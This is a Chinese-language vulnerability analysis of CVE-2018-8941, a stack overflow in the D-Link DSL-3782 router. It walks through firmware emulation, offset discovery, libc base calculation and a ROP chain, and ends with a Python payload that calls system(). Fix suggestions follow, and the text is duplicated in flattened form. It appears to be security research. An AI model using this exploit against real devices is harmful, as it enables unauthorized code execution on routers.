D-Link DSL-3782授权用户远程代码执行
字数 1513 2025-08-22 12:22:48

D-Link DSL-3782 授权用户远程代码执行漏洞分析 (CVE-2018-8941)

漏洞概述

D-Link DSL-3782 路由器中的 /userfs/bin/tcapi 二进制文件存在栈溢出漏洞。该二进制文件被用作Web GUI中"诊断"功能的包装。经过身份验证的用户可以通过"set Diagnostics_Entry"功能将一个长缓冲区作为"Addr"参数传递给该二进制文件,导致内存损坏,最终可覆盖返回地址并执行任意代码。

环境准备

所需工具

  • firmware-analysis-toolkit (固件仿真工具)
  • Burp Suite (用于拦截和修改HTTP请求)
  • QEMU (用于模拟MIPS环境)
  • IDA Pro (反汇编和调试工具)
  • Python (用于构造payload)

固件下载

固件可从以下地址下载:
ftp://ftp.dlink.eu/Products/dsl/dsl-3782/driver_software/DSL-3782_A1_EU_1.01_07282016.zip

漏洞分析

漏洞位置

漏洞存在于 /userfs/bin/tcapi 二进制文件中,具体是在 libtcapi 库的 tcapi_set 函数中。该函数使用 strcpy 进行字符串复制而没有进行长度检查,导致栈溢出。

触发条件

  1. 需要经过身份验证的用户权限
  2. 通过Web GUI的"诊断"功能发送特制的"Addr"参数

漏洞验证步骤

  1. 固件仿真
    使用 firmware-analysis-toolkit 对固件进行仿真模拟,找到"Diagnostics Entry Address"接口。

  2. 绕过前端校验
    由于前端有输入校验,无法直接通过Web界面输入造成溢出的数据,需要使用Burp Suite拦截并修改请求。

  3. 构造溢出数据
    通过Burp Suite发送特制的栈溢出数据,观察路由器是否崩溃以及寄存器的变化。

调试分析

  1. 运行环境设置

    sudo chroot . ./qemu-mips-static userfs/bin/tcapi set Diagnostics_Entry Addr [payload]
    
  2. 调试命令
    使用QEMU的调试功能:

    -g [port]
    

    然后使用IDA Pro的remote gdb进行调试。

  3. 关键函数分析

    • 程序调用 tcapi_set 函数(位于 libtcapi 中)
    • strcpy 调用无长度检查导致栈溢出
    • 返回地址栈位置距离第三个参数在栈上的偏移是596字节

漏洞利用

偏移计算

  • 返回地址距离输入缓冲区的偏移:596字节
  • 测试payload:'A'*596 + 'BBBB',可观察到返回地址寄存器被覆盖为0x42424242

利用方法选择

由于检查发现没有任何保护机制(NX, ASLR等),可以考虑:

  1. 直接写入shellcode并跳转执行
  2. 构造ROP链

ROP链构造

  1. 查找gadget
    由于 tcapi 程序中缺少合适的gadget,需要从依赖库 libc.so.0 中寻找。

  2. 关键gadget

    • 偏移16710处的gadget:调用的函数地址由s0寄存器决定,参数是sp+24
    • 需要:
      • libc_base + 16708 覆盖$ra寄存器
      • system 实际地址覆盖s0寄存器
      • 命令字符串放在sp+24位置
  3. libc基址获取

    • 通过QEMU的-strace参数观察系统调用
    • 发现libc.so.0被加载到0x40867000附近
    • 调整后确定基址为0x40868000

最终payload构造

import struct

libc_base = 0x40868000
libc_system = struct.pack(">I", libc_base + 0x59bb0)

rop_pad = 'A' * 580
s0 = libc_system
s1 = 'BBBB'
s2 = 'BBBB'
s3 = 'BBBB'
ra = struct.pack(">I", libc_base + 0x16708)

payload = rop_pad + s0 + s1 + s2 + s3 + ra + "C" * 24 + 'ls'

漏洞修复建议

  1. 对输入参数进行长度检查
  2. 使用安全的字符串函数(如strncpy)替代strcpy
  3. 启用编译器的栈保护机制

参考资源

  1. GitHub PoC
  2. FreeBuf分析文章
D-Link DSL-3782 授权用户远程代码执行漏洞分析 (CVE-2018-8941) 漏洞概述 D-Link DSL-3782 路由器中的 /userfs/bin/tcapi 二进制文件存在栈溢出漏洞。该二进制文件被用作Web GUI中"诊断"功能的包装。经过身份验证的用户可以通过"set Diagnostics_ Entry"功能将一个长缓冲区作为"Addr"参数传递给该二进制文件,导致内存损坏,最终可覆盖返回地址并执行任意代码。 环境准备 所需工具 firmware-analysis-toolkit (固件仿真工具) Burp Suite (用于拦截和修改HTTP请求) QEMU (用于模拟MIPS环境) IDA Pro (反汇编和调试工具) Python (用于构造payload) 固件下载 固件可从以下地址下载: ftp://ftp.dlink.eu/Products/dsl/dsl-3782/driver_software/DSL-3782_A1_EU_1.01_07282016.zip 漏洞分析 漏洞位置 漏洞存在于 /userfs/bin/tcapi 二进制文件中,具体是在 libtcapi 库的 tcapi_set 函数中。该函数使用 strcpy 进行字符串复制而没有进行长度检查,导致栈溢出。 触发条件 需要经过身份验证的用户权限 通过Web GUI的"诊断"功能发送特制的"Addr"参数 漏洞验证步骤 固件仿真 : 使用 firmware-analysis-toolkit 对固件进行仿真模拟,找到"Diagnostics Entry Address"接口。 绕过前端校验 : 由于前端有输入校验,无法直接通过Web界面输入造成溢出的数据,需要使用Burp Suite拦截并修改请求。 构造溢出数据 : 通过Burp Suite发送特制的栈溢出数据,观察路由器是否崩溃以及寄存器的变化。 调试分析 运行环境设置 : 调试命令 : 使用QEMU的调试功能: 然后使用IDA Pro的remote gdb进行调试。 关键函数分析 : 程序调用 tcapi_set 函数(位于 libtcapi 中) strcpy 调用无长度检查导致栈溢出 返回地址栈位置距离第三个参数在栈上的偏移是596字节 漏洞利用 偏移计算 返回地址距离输入缓冲区的偏移:596字节 测试payload: 'A'*596 + 'BBBB' ,可观察到返回地址寄存器被覆盖为0x42424242 利用方法选择 由于检查发现没有任何保护机制(NX, ASLR等),可以考虑: 直接写入shellcode并跳转执行 构造ROP链 ROP链构造 查找gadget : 由于 tcapi 程序中缺少合适的gadget,需要从依赖库 libc.so.0 中寻找。 关键gadget : 偏移16710处的gadget:调用的函数地址由s0寄存器决定,参数是sp+24 需要: libc_base + 16708 覆盖$ra寄存器 system 实际地址覆盖s0寄存器 命令字符串放在sp+24位置 libc基址获取 : 通过QEMU的 -strace 参数观察系统调用 发现 libc.so.0 被加载到 0x40867000 附近 调整后确定基址为 0x40868000 最终payload构造 漏洞修复建议 对输入参数进行长度检查 使用安全的字符串函数(如 strncpy )替代 strcpy 启用编译器的栈保护机制 参考资源 GitHub PoC FreeBuf分析文章